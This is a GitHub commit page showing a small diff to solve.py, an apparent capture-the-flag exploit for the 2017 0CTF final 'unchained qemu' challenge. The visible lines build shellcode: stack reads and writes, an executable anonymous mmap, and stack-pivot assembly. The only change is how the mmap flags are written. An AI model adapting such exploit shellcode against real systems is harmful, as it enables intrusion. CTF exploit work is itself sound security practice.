We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 0073b40 commit 671259aCopy full SHA for 671259a
2017/0ctf-final/unchained qemu/solve.py
@@ -29,7 +29,7 @@ def exploit(r):
29
+sc.read("rax", "rsp", 0x100)
30
+sc.write(1, "rsp", 0x100)
31
+sc.close(0)
32
- +sc.mmap(0x4000000000,0x200000,7,constants.MAP_PRIVATE|constants.MAP_ANONYMOUS, -1, 0)
+ +sc.mmap(0x4000000000,0x200000,7,'MAP_PRIVATE|MAP_ANONYMOUS', -1, 0)
33
+'mov rbx, rax;'
34
+'mov rsp, rax;'
35
+'add rsp, 0x1000;'
0 commit comments